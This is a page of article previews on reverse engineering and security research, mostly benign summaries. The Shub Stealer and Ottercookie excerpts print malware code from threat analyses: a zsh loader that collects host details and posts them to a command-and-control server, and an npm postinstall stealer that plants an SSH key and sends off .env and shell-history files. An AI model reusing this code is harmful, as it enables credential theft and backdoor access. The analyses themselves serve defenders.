# reverse engineering Published articles for reverse engineering. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Code review is burning out your best engineers DevFeed: [Code review is burning out your best engineers]() Original publisher: [Read original article]() Author: Ankit Jain Published: 2026-09-18T12:00:00Z Content type: opinion Language: en Sources: [The New Stack]() Topics: [ai code review](), [Code review](), [AI-assisted coding](), [engineering-culture](), [Code quality](), [Reverse Engineering]() Tags: [abstraction](), [ai](), [ai-code-review](), [ai-engineering](), [aviator](), [bugs](), [code-quality](), [code-review](), [developer-tools](), [engineering](), [post-contributed](), [reverse-engineering](), [review](), [software-development](), [sponsor-aviator](), [sponsored-post-contributed]() ### AI overview The article argues that widespread AI-assisted coding is overwhelming experienced engineers with larger review queues and shifting their work from writing code to verifying machine-generated output. It explains that AI-generated code often lacks intent and context, can be plausibly wrong or over-engineered, and may ignore repository conventions. ### Source excerpt Every team I talk to has the same problem. Their best engineers, the ones who care most about code quality, The post Code review is burning out your best engineers appeared first on The New Stack. ## Open-Source Project Brings Full iOS 27 Virtualization to Apple Silicon DevFeed: [Open-Source Project Brings Full iOS 27 Virtualization to Apple Silicon]() Original publisher: [Read original article]() Author: Sergio De Simone Published: 2026-09-12T16:00:00Z Content type: news Language: en Sources: [InfoQ]() Topics: [iOS](), [Tooling](), [Command-line interface](), [debugging](), [App]() Tags: [apple](), [cli](), [debugging](), [development](), [ios](), [ios-27-virtualization](), [iphone](), [kernel](), [macos](), [mobile](), [mobile-testing](), [news](), [open-source](), [research](), [reverse-engineering](), [security](), [ssh](), [testing](), [virtualization](), [xcode]() ### AI overview vphone-cli runs a full iOS 27 system as a virtual machine on Apple Silicon using Apple's Virtualization.framework. The article contrasts it with the Xcode iPhone Simulator and highlights uses in security research, reverse engineering, debugging, and automated testing. ### Source excerpt The open-Source project vphone-cli enables a full iOS 27 system to run as a virtual machine on Apple Silicon. Built on Apple's own Virtualization.framework rather than traditional emulation, the project opens up new possibilities for security research, reverse engineering, and automated iOS testing. By Sergio De Simone ## Can you design a chip? Announcing the protocol emulator ASIC competition DevFeed: [Can you design a chip? Announcing the protocol emulator ASIC competition]() Original publisher: [Read original article]() Author: Benjamin Devlin Published: 2026-09-10T00:00:00Z Content type: release Language: en Sources: [Jane Street]() Topics: [Chip design](), [Protocol (disambiguation)](), [Hardware](), [Open Source](), [Emulator](), [cpu](), [Reverse Engineering](), [fpga](), [Formal methods](), [Verilog]() Tags: [chip-design](), [cpu](), [emulator](), [ethernet](), [firmware](), [formal-methods](), [fpga](), [hardware](), [i2c](), [jtag](), [open-source](), [peripheral](), [protocol](), [reverse-engineering]() ### AI overview Jane Street announces a competition to design an open-source, general-purpose protocol emulator ASIC. The proposed chip would use a small programmable CPU to read and write pins, count cycles, and implement protocols in firmware, with fabrication planned through IHP and Tiny Tapeout. ### Source excerpt Last month, we asked you to reverse engineer a chip from nothing but its layout and teased a bigger challenge. Results and our favorite writeups are coming soon. In the meantime, here's our next challenge! This time, you're designing the chip, and we'll pay to fabricate our favorite designs! We're particularly interested in projects with unique functionality, as well as those that demonstrate novel approaches to design and verification methodologies! ## Novel Blue Moon kit targeting Chrome and Windows reflects new reality of AI-driven exploits DevFeed: [Novel Blue Moon kit targeting Chrome and Windows reflects new reality of AI-driven exploits]() Original publisher: [Read original article]() Author: Jessica Lyons Published: 2026-09-09T22:28:53Z Content type: news Language: en Sources: [www.theregister.com - Articles]() Topics: [BlueMoon](), [Chromium](), [cve-2026-85880](), [Microsoft]() Tags: [ai](), [ai-agents](), [bluemoon](), [chrome](), [chromium](), [cve-2026-85880](), [exploits](), [google](), [microsoft](), [proofpoint](), [research](), [reverse-engineering](), [security](), [windows]() ### AI overview Proofpoint reports that multiple espionage clusters used the BlueMoon exploit kit to chain Chromium-based browser flaws with a Windows bug. The article says AI agents may lower the barrier to exploit development, particularly during the window between upstream Chromium patches and downstream stable releases. ### Source excerpt Mind the patch gap, please and thank you ## Introducing Consort: Test-driven development on a branching database DevFeed: [Introducing Consort: Test-driven development on a branching database]() Original publisher: [Read original article]() Author: Kevin Hartman Published: 2026-09-09T13:41:25Z Content type: article Language: en Sources: [Databricks]() Topics: [Test-driven development](), [Database](), [Integration testing](), [Software Engineering](), [Refactoring](), [Continuous Delivery (CD)](), [Pull Request](), [Reverse Engineering]() Tags: [code](), [continuous-delivery](), [database](), [development](), [integration](), [partners](), [platform](), [postgres](), [pull-request](), [refactoring](), [reverse-engineering](), [software](), [software-development](), [testing]() ### AI overview The article introduces Consort, a workflow for applying test-driven development to a branching database. It argues that copy-on-write branches of a real database can replace mocks, bring integration testing into the inner development loop, and let engineers run destructive tests in isolation. Versioned schema migrations can move with the dependent code, enabling what the article calls Data CD and helping catch production database problems during pull requests and merges. ### Source excerpt For 25 years I built software on the practices I grew up with: Kent Beck's TDD, Martin... ## Reverse Engineering Without CAD Data: How MetroY Ultra Turns Physical Parts into Digital Designs (Sponsored) DevFeed: [Reverse Engineering Without CAD Data: How MetroY Ultra Turns Physical Parts into Digital Designs (Sponsored)]() Original publisher: [Read original article]() Author: Sponsored Post Published: 2026-09-07T10:00:42Z Content type: article Language: en Sources: [CNX Software - Embedded Systems News]() Topics: [Reverse Engineering](), [Software](), [3D]() Tags: [3d](), [diy](), [engineering](), [hardware](), [reverse-engineering](), [software](), [sponsored]() ### AI overview This sponsored article describes using MetroY Ultra and Revo Metro to scan a modified motorcycle rear fender and combine the cleaned scan with a full motorcycle scan in CAD software. The workflow preserves real mounting geometry while removing scan artifacts, creating a digital reference for designing a custom seat tray and seat pan. ### Source excerpt When the Part Exists, but the Data Doesn't Reverse engineering often starts with a physical part but no reliable digital data. In restoration and customization, manual measurement can provide basic dimensions, but it becomes limiting when complex curves, mounting points, and tight clearances need to be captured accurately. MetroY Ultra captures the actual three-dimensional geometry of a part, providing a reliable digital reference for reverse engineering, custom design, and manufacturing. Designing a Custom Motorcycle Seat Tray from Accurate Scan Data In a custom 1984 Honda CB400 build, the builder needed to create a seat tray and seat pan for a custom seat while integrating the rear fender into the modified rear subframe. The challenge was not simply designing a new part, but making that part accurately fit a motorcycle whose geometry had already been modified. Traditionally, this kind of work is often done with welded sheet metal or fiberglass layup. [...] The post Reverse Engineering Without CAD Data: How MetroY Ultra Turns Physical Parts into Digital Designs (Sponsored) appeared first on CNX Software - Embedded Systems News. ## What is Mobile App Reverse Engineering? | Guardsquare DevFeed: [What is Mobile App Reverse Engineering? | Guardsquare]() Original publisher: [Read original article]() Author: Guardsquare Published: 2026-08-25T10:43:34Z Content type: article Language: en Sources: [Guardsquare Blog]() Topics: [Reverse Engineering](), [Mobile Security](), [Mobile](), [Security](), [Ghidra](), [Hopper]() Tags: [analysis](), [android](), [dexguard](), [ios](), [ixguard](), [mobile](), [reverse-engineering](), [security](), [thought-leadership](), [tools](), [vulnerabilities]() ### AI overview The article explains mobile app reverse engineering as the analysis of compiled binaries to reconstruct an app's logic, data flows, and structure. It describes legitimate diagnostic uses, attacker risks such as credential extraction and vulnerability discovery, why iOS and Android protections do not fully protect application code, and static analysis using tools including Ghidra and Hopper. ### Source excerpt Reverse engineering is the process of analyzing compiled software to understand how it works, without having access to the original source code. In the context of mobile applications, it means taking a published app and working backward through its binary to reconstruct its internal logic, data flows, and structure. ## Modern App Protection Requires Polymorphism | Guardsquare DevFeed: [Modern App Protection Requires Polymorphism | Guardsquare]() Original publisher: [Read original article]() Author: Jason Cortlund - Technical Marketing Writer Published: 2026-08-18T13:45:43Z Content type: article Language: en Sources: [Guardsquare Blog]() Topics: [Mobile](), [Mobile Security](), [Polymorphism](), [Security](), [Development](), [Artificial Intelligence](), [Large Language Model]() Tags: [agentic-ai](), [ai](), [development](), [dexguard](), [ixguard](), [large-language-models-llms](), [mobile](), [polymorphism](), [protection](), [reverse-engineering](), [security](), [security-research](), [thought-leadership](), [vulnerabilities]() ### AI overview The article argues that mobile app protection should use polymorphism, with protections changing for each application build. It links this approach to the risks created by development speed, AI-generated code, and scalable reverse-engineering attacks. ### Source excerpt According to credit reporting agency Equifax, "...mobile app security is often neglected by developers -- making apps more vulnerable to fraud." The reason for this is quite simple for most organizations: development speed is the dominant priority. In fact, 79% of mobile developers cite time-to-market pressure as the top barrier to stronger protection. ## App Hardening: One Obfuscation Pipeline Across Every Port DevFeed: [App Hardening: One Obfuscation Pipeline Across Every Port]() Original publisher: [Read original article]() Author: Shai Almog Published: 2026-08-15T00:00:00Z Content type: article Language: en Sources: [CodeName One]() Topics: [obfuscation](), [cross-platform](), [Encryption](), [Security](), [Reverse Engineering](), [App]() Tags: [android](), [app](), [cross-platform](), [encryption](), [hardening](), [ios](), [javascript](), [native](), [obfuscation](), [platform](), [r8](), [reverse-engineering](), [security]() ### AI overview Codename One App Hardening applies one pre-build protection pipeline to a merged cross-platform application before it is split into Android, iOS, JavaScript, Windows, Linux, and desktop builds. It supports renaming, eligible string encryption, selected control-flow transformations, verification, and crash-report retracing, while acknowledging that reverse engineering cannot be made impossible. ### Source excerpt Codename One App Hardening applies class and member renaming, string encryption, and platform-safe control-flow transforms before one application becomes Android, iOS, JavaScript, or native desktop output. ## Reverse Engineering a PostHog SuperDay DevFeed: [Reverse Engineering a PostHog SuperDay]() Original publisher: [Read original article]() Author: Josh Sherman Published: 2026-08-09T00:00:00Z Content type: opinion Language: en Sources: [Josh Sherman]() Topics: [Reverse Engineering](), [Open Source](), [Software]() Tags: [engineering](), [open-source-software](), [oss](), [reverse-engineering]() ### AI overview The author describes examining PostHog's onboarding wizard and open-source repositories while trying to understand whether certain issues and pull requests were connected to potential candidates. The author remains uncertain about this theory but found the core team's constructive feedback notable. ### Source excerpt I'm not here to bullshit anybody, I have never been through a PostHog SuperDay. Like many humans, I've read about it on their website, as they are a company that over-communicates just about everything. This tale started when I got curious about their onboarding wizard. Their pivot from analytics to self-driving systems mirrors what I've been working on for the last couple of years, which has accelerated greatly over the last 3 months. Figured there was probably something I could learn and possibly bite off to include in my own system. Figuring out what to do I've been around open source software (OSS) for a good long while now. Even though I've had some strong opinions about the state of things over the years, I still believe it's the way. If not for OSS, I wouldn't be able to say things like "I wrote a Lorem Ipsum generator that's somehow been installed over 1 million times." These days, most projects have a label on their issues that indicate what's good for a new contributor to pick on. PostHog's repos are no different, except the repo I was looking at didn't have any issues tagged with the good first issue tag. Not a big deal, with 100+ open issues I figured I'd be able to find something I could pick up to give me a chance to play with the codebase. I did find a handful of things, I even started to chase down one of them. As I did I realized I kept talking myself out of each issue because what appeared to be low hanging fruit was stuff that I could defend deprioritizing. A pattern started to emerge Along this journey of trying to find an issue worth fighting for, I started to notice a pattern of somewhat disparate issues and PRs opened by the same contributor. I also noticed that core team members (read: employees) were commenting on these issues and PRs and not in the usual "yea or nay" fashion that I see. The comments were constructive in a way that you'd be with a more junior teammate that you're attempting to mentor and train up. Not a bad thing, but the fe ## Reverse-engineer an ASIC from its chip layout DevFeed: [Reverse-engineer an ASIC from its chip layout]() Original publisher: [Read original article]() Author: Anish Singhani Published: 2026-08-05T00:00:00Z Content type: article Language: en Sources: [Jane Street]() Topics: [Hardware](), [Reverse Engineering](), [Verilog](), [Routing (disambiguation)](), [Code]() Tags: [code](), [design-automation](), [engineering](), [hardware](), [puzzle](), [reverse-engineering](), [routing](), [signal]() ### AI overview Jane Street presents a puzzle that challenges readers to reverse-engineer an ASIC from its physical chip layout, recover the underlying netlist, determine the circuit's purpose, and derive a final answer from its output. ### Source excerpt Earlier this year we published a puzzle that handed you a complete neural network and asked you to figure out what it did. The response was great, so we've made another one! This time, we're going much deeper down the tech stack. For this puzzle we've designed a chip, but we're only giving you the layout. A crash course in how chips get made Modern chips start life as code. ## Sol Searching | Can Frontier Models Tackle Autonomous Long-Horizon Malware Analysis? DevFeed: [Sol Searching | Can Frontier Models Tackle Autonomous Long-Horizon Malware Analysis?]() Original publisher: [Read original article]() Author: Juan Andrés Guerrero-Saade & Gabriel Bernadett-Shapiro Published: 2026-07-22T16:55:29Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [Artificial Intelligence](), [Malware](), [Reverse Engineering](), [Threat Research](), [Benchmark](), [Cybersecurity](), [OpenAI]() Tags: [ai](), [ai-models](), [analysis](), [benchmark](), [cybersecurity](), [malware](), [models](), [openai](), [reasoning](), [reverse-engineering]() ### AI overview A SentinelLABS benchmark evaluates whether frontier AI models can sustain trustworthy, long-horizon malware investigations as new evidence overturns earlier conclusions. OpenAI's GPT-5.6 Sol completed all eight stages, while other models showed capable local analysis but failed to maintain the investigation across the full workflow. The article concludes that supervised investigative agency is the most appropriate current use, with senior reverse engineers retaining oversight and publication authority. ### Source excerpt A real-world benchmark tests whether powerful AI models can keep an investigation trustworthy when new evidence invalidates their conclusions. ## Mobile App Security Without Sacrificing UX | Guardsquare DevFeed: [Mobile App Security Without Sacrificing UX | Guardsquare]() Original publisher: [Read original article]() Author: Ryan Lloyd - Chief Product Officer Published: 2026-07-21T13:02:06Z Content type: article Language: en Sources: [Guardsquare Blog]() Topics: [Mobile Security](), [Application Security](), [Security](), [obfuscation](), [User experience (UX)](), [Reverse Engineering](), [Jailbreak](), [debug]() Tags: [application-security](), [jailbreak](), [mobile](), [obfuscation](), [performance](), [profiling](), [reverse-engineering](), [security](), [technical](), [time](), [ux]() ### AI overview The article explains how profiling instrumented mobile applications helps teams apply obfuscation and runtime security controls at appropriate levels while limiting effects on stability, performance, and user experience. It also discusses automating application profiling at scale through AI-driven and agentic testing. ### Source excerpt Mobile application security has evolved significantly over the past decade. Modern applications routinely employ code obfuscation, runtime application self-protection (RASP), anti-tampering controls, jailbreak and root detection, debugger detection, certificate pinning, and a variety of other runtime defenses designed to protect intellectual property and sensitive user data. ## Why OS-Level Security Isn't Enough for Mobile Apps | Guardsquare DevFeed: [Why OS-Level Security Isn't Enough for Mobile Apps | Guardsquare]() Original publisher: [Read original article]() Author: Simon Haven - Product Marketing Manager Published: 2026-07-14T12:36:57Z Content type: opinion Language: en Sources: [Guardsquare Blog]() Topics: [Mobile Security](), [Application Security](), [Security](), [Android](), [iOS](), [Reverse Engineering]() Tags: [android](), [application-security](), [attacks](), [dexguard](), [general](), [ios](), [ixguard](), [mobile-security](), [os](), [reverse-engineering](), [security]() ### AI overview The article argues that Android and iOS security protections primarily protect devices and users, but do not comprehensively verify whether mobile application code remains trustworthy after deployment. It recommends dedicated mobile application security alongside operating-system protections to reduce risks such as reverse engineering and runtime tampering. ### Source excerpt Since day one, Google and Apple have integrated security features into their respective operating systems, Android and iOS. However, as mobile devices have grown to become near ubiquitous, so, too, have the attacks targeting them. In 2025, 43% of surveyed organizations cited mobile app threats as a top contributor to mobile security breaches, according to a report by Verizon. In response, Google and Apple have continued introducing stronger and more refined security tools and features with each new release. ## MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI DevFeed: [MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-06-17T21:54:01Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Malware](), [backdoor](), [payload](), [Python](), [Claude](), [Artificial Intelligence]() Tags: [ai](), [backdoor](), [capture](), [claude](), [claude-ai](), [infosec](), [ip](), [malware](), [payload](), [port](), [python](), [reverse-engineering]() ### AI overview The article examines new MetaStealer domain-generation algorithms and explains that its gate servers rely more on IP addresses, ports, URIs, and HTTP headers than on domains. It also analyzes RuntimeSync, a developing malware sample with RAT and backdoor capabilities, and describes using Claude.ai Sonnet 4.6 to reverse engineer its DGA and produce Python simulation code. ### Source excerpt By: Jason Reaves and Joshua Platt In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer's proxies or 'gates' don't actually care what domain gets used as it's just a config item; they simply pass on the traffic to another server. We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it. MetaStealer DGA: As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples: sea-vast-send.com 46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0hxxp://pestrear-lamp.xyz:443 d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96hxxp://anus-staylard.xyz:443 d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5 This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors. 155.117.20.75 qocyeicmusmegouw.xyz 213.139.77.254 uumcceymkuymmqou.xyz We didn't focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA. Backdoor "tracker" During the investigation, we observed a peculiar payload being delivered to several machines: an installer named RuntimeSync, example hash: 82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141 RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Win ## LABScon25 Replay | Gamaredon x Turla: Unveiling a 2025 Espionage Alliance Targeting Ukraine DevFeed: [LABScon25 Replay | Gamaredon x Turla: Unveiling a 2025 Espionage Alliance Targeting Ukraine]() Original publisher: [Read original article]() Author: LABScon Published: 2026-06-02T13:00:58Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [LABScon](), [Malware](), [Threat Research](), [Reverse Engineering](), [Threat Hunting & Intel](), [backdoor]() Tags: [analysis](), [apt](), [attacks](), [backdoor](), [conferences](), [labscon](), [labscon25](), [malware](), [presentation](), [research](), [reverse-engineering]() ### AI overview ESET researchers present technical evidence that Gamaredon facilitated Turla's access to high-value Ukrainian targets between February and June 2025. The presentation examines their operational collaboration, the deployment of Turla's Kazuar backdoor, and the implications for defenders tracking Russian cyberespionage. ### Source excerpt ESET researchers show how Gamaredon facilitated Turla access to Ukrainian targets, revealing rare cooperation between FSB-linked espionage groups. ## Joining forces to modernize legacy software DevFeed: [Joining forces to modernize legacy software]() Original publisher: [Read original article]() Author: Mary Louise Stewart Published: 2026-05-14T08:00:00Z Content type: release Language: en Sources: [Federico Tomassetti]() Topics: [Software](), [Reverse Engineering](), [Refactoring](), [Code generation](), [interoperability](), [AI-assisted coding]() Tags: [code-generation](), [interoperability](), [legacy-code](), [legacy-modernization](), [migration](), [model-driven-development](), [modernization](), [parsing](), [refactoring](), [reverse-engineering](), [software](), [transpilers]() ### AI overview Strumenta and Metadev announced a collaboration to modernize legacy software. Strumenta contributes code analysis, extraction, and transformation capabilities, while Metadev contributes modeling, AI integration, and code generation. Their approach uses LionWeb models as an intermediate representation between legacy code and modernized systems. ### Source excerpt Strumenta and Metadev Join Forces to Modernize Legacy Software A collaboration combining Strumenta's expertise in code analysis, extraction, and transformation with Metadev's capabilities in modeling, artificial intelligence, and code generation from models. Torino/Seville, May 14, 2026 -- Strumenta S.r.l. and Metadev S.L. have reached a collaboration agreement to offer a joint approach to Modernizing Legacy [...] The post Joining forces to modernize legacy software appeared first on Federico Tomassetti. ## Scaling Trusted Access for Cyber with GPT-5.5 and GPT-5.5-Cyber DevFeed: [Scaling Trusted Access for Cyber with GPT-5.5 and GPT-5.5-Cyber]() Original publisher: [Read original article]() Published: 2026-05-07T13:00:00Z Content type: article Language: en Sources: [OpenAI News]() Topics: [Artificial Intelligence](), [OpenAI](), [Cybersecurity](), [Critical Infrastructure](), [vulnerability](), [Detection engineering](), [Reverse Engineering](), [Threat Research]() Tags: [ai](), [critical-infrastructure](), [cybersecurity](), [developers](), [engineering](), [openai](), [research](), [reverse-engineering](), [security](), [validation](), [vulnerability]() ### AI overview OpenAI describes Trusted Access for Cyber, an identity- and trust-based framework that provides verified defenders with enhanced GPT-5.5 capabilities for authorized cybersecurity workflows. GPT-5.5-Cyber is being introduced in limited preview for defenders securing critical infrastructure, with safeguards against activities such as credential theft, persistence, malware deployment, and exploitation of third-party systems. ### Source excerpt OpenAI expands Trusted Access for Cyber with GPT-5.5 and GPT-5.5-Cyber, helping verified defenders accelerate vulnerability research and protect critical infrastructure. ## pyghidra-mcp Meets Ghidra GUI: Drive Project-Wide RE with Local AI DevFeed: [pyghidra-mcp Meets Ghidra GUI: Drive Project-Wide RE with Local AI]() Original publisher: [Read original article]() Author: clearbluejar Published: 2026-05-05T07:00:00Z Content type: article Language: en Sources: [clearbluejar]() Topics: [Ghidra](), [Reverse Engineering](), [Local AI](), [MCP Server](), [Artificial Intelligence](), [Processes]() Tags: [ai](), [gemma4](), [ghidra](), [local](), [local-ai](), [mcp](), [mcp-server](), [reverse-engineering]() ### AI overview The article presents pyghidra-mcp v0.2.0, which adds a GUI-backed mode allowing a local LLM to drive a live Ghidra CodeBrowser across an entire project. It demonstrates real-time function renaming, plate comments, and cross-binary analysis, with edits recorded in Ghidra's undo history. ### Source excerpt pyghidra-mcp v0.2.0 ships a GUI-backed mode that lets a local LLM drive a live Ghidra CodeBrowser at full project scope. Renames, plate comments, and cross-binary pivots land in real time, with every edit tagged in Ghidra's undo history while the session is alive. ## Shub Stealers Fake Crypto Apps DevFeed: [Shub Stealers Fake Crypto Apps]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:34:44Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Security](), [C2](), [Bash](), [Zsh](), [payload](), [telemetry](), [API](), [JSON]() Tags: [c2](), [code](), [infosec](), [json](), [macos](), [malware](), [payload](), [reverse-engineering](), [security](), [shell](), [shell-script](), [telemetry](), [zsh]() ### AI overview Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure. ### Source excerpt By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec /dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa ## Mapping Ottercookie Infrastructure DevFeed: [Mapping Ottercookie Infrastructure]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:33:39Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Threat Research](), [Malware](), [JavaScript](), [npm](), [ssh](), [Feathers]() Tags: [backdoor](), [credentials](), [infosec](), [javascript](), [malware](), [malware-analysis](), [npm](), [reverse-engineering](), [ssh]() ### AI overview Jason Reaves analyzes infrastructure associated with OtterCookie and related DPRK-linked malware activity. The article examines a NodeJS package whose decoded code downloads an SSH key, retrieves scan patterns targeting files such as .env and shell history, and sends collected files to remote infrastructure. It then uses port mappings and banner hashes to map additional infrastructure. ### Source excerpt By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7 ## Fetch the Flag CTF 2026: Official Challenge Write-Ups & Community Highlights DevFeed: [Fetch the Flag CTF 2026: Official Challenge Write-Ups & Community Highlights]() Original publisher: [Read original article]() Author: Ben Sadeghipour (NahamSec) Published: 2026-02-23T05:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [ctf](), [Cybersecurity](), [Web](), [Artificial Intelligence](), [Reverse Engineering]() Tags: [ai](), [awareness](), [blog](), [ctf](), [cybersecurity](), [developer](), [interest](), [python](), [reverse-engineering](), [security](), [security-labs](), [web]() ### AI overview Fetch the Flag CTF 2026's official challenge write-ups and community highlights cover more than 20 challenges across web security, AI, crypto, pwn, reverse engineering, and forensics. The article points readers to intended solutions, community perspectives, and hands-on opportunities to retry challenges. ### Source excerpt Explore official write-ups and community highlights from the Fetch the Flag CTF 2026, featuring over 20 challenges in web security, AI, and crypto. Learn from the experts and dive into the technical details of this year's most intricate binary puzzles and web exploits. ## How LLMs Feed Your RE Habit: Following the Use-After-Free Trail in CLFS DevFeed: [How LLMs Feed Your RE Habit: Following the Use-After-Free Trail in CLFS]() Original publisher: [Read original article]() Author: clearbluejar Published: 2026-02-03T06:15:00Z Content type: tutorial Language: en Sources: [clearbluejar]() Topics: [Reverse Engineering](), [Large Language Model](), [vulnerability](), [race-condition](), [Windows](), [Kernel](), [Logging]() Tags: [ghidra](), [kernel](), [llms](), [macos](), [race-condition](), [reverse-engineering](), [vulnerability]() ### AI overview This article describes how LLMs and pyghidra-mcp support reverse engineering by tracing a use-after-free vulnerability in Windows Common Log File System (CLFS) through a patch diff. It explains CLFS, its Win32 and kernel-driver interfaces, and how a race condition can trigger the vulnerability. ### Source excerpt Dive into how LLMs and pyghidra-mcp accelerate reverse engineering by tracing a UAF vulnerability in CLFS through a patch diff. ## 4 Reasons Why CTFs Are One of the Best Ways to Grow in Cybersecurity DevFeed: [4 Reasons Why CTFs Are One of the Best Ways to Grow in Cybersecurity]() Original publisher: [Read original article]() Author: Ben Sadeghipour (NahamSec) Published: 2026-01-27T05:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [ctf](), [Cybersecurity](), [Network](), [Reverse Engineering]() Tags: [americas](), [application-security](), [awareness](), [blog](), [career](), [ctf](), [cybersecurity](), [developer](), [interest](), [network](), [reverse-engineering](), [security](), [snyk-learn]() ### AI overview The article explains how Capture The Flag competitions help people grow in cybersecurity by exposing them to diverse technical areas, encouraging hands-on learning, and creating professional connections. ### Source excerpt Capture The Flag (CTF) competitions are a powerful way to accelerate your cybersecurity career by exposing you to real-world vulnerabilities and diverse technical niches. Discover why CTFs are one of the best methods to grow your expertise and professional network. [Next page]()